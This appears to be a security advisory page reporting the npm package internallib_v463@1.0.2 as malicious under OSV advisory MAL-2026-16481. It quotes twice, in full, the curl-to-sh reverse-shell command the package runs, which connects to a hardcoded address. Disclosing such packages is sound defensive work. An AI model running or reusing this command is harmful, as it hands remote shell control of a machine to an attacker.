internallib_v463@1.0.2

OSV Malicious Advisory

imported 16d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16481 confirms this npm version as malicious. index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer...

Advisory

MAL-2026-16481

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in internallib_v463 (npm)

Details

index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log("Primeiro PWN")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.

Decision reason

OpenSSF Malicious Packages via OSV confirms internallib_v463@1.0.2 as malicious (MAL-2026-16481): Malicious code in internallib_v463 (npm)

References

OSV advisory PACKAGE

Source & flagged code

0 flagged

No flagged code excerpts are attached to this scan.

internallib_v463@1.0.2

OSV Malicious Advisory

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code